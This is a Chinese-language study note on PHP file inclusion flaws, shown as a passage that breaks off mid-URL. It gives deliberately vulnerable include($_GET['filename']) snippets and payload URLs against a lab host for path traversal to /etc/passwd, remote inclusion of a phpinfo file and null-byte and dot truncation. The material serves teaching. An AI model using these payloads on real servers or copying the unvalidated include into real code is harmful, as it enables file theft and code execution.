郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
包含文件(include file)。这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将它们包含在特殊功能的代码文件中。
程序在引用文件的时,对传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
1 PHP 中文件包含函数
require()
require_once()
include()
include_once()
include
和 require
主要区别是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而 require
函数出现错误的时候,会直接报错并退出程序的执行。
include_once()
, require_once()
主要区别是,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包含超过一次的情况。
2 无限制文件包含绕过
2.1 无限制文件包含测试语句
<?php
$filename = $_GET['filename'];
include($filename);
?>
2.2 本地文件包含绕过
在服务器上获取通过正常途径无法访问的文件
http://include.lab.com/include/file01.php?file=../../../../../../../../../../../../etc/passwd
2.3 远程文件包含绕过
前提条件:
- php.ini 中开启以下功能
// 是否允许打开远程文件
allow_url_fopen = On
// 是否允许 include/require 远程文件
allow_url_include = On
利用远程的恶意包含文件,获取当前系统信息
http://include.lab.com/include/include01.php?filename=http://192.168.100.129/phpinfo
cat phpinfo
<?php phpinfo();?>
3 有限制文件包含绕过
3.1 限制文件类型的文件包含测试语句
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
3.2 有限制本地文件包含绕过
3.2.1 %00 截断绕过
前提条件:
magic_quotes_gpc = Off
:当打开magic_quotes_gpc
时,所有的'(单引号),"(双引号),(反斜线)和 NULL字符(%00)
都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用,如:addslashes()、mysql_escape_string()、mysql_real_escape_string()
等php 版本 < 5.3.4
http://include.lab.com/include02.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini%00
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%00
cat phpinfo
<?php phpinfo();?>
3.2.2 .
号截断绕过
前提条件:
- PHP 版本 < 5.2.9
- 若 Linux 文件名 > 4096 字节,超出的部分会被丢弃;
- 若 Windows 文件名 > 256 字节,超出的部分会被丢弃;
windows:
http://include.lab.com/include02.php?filen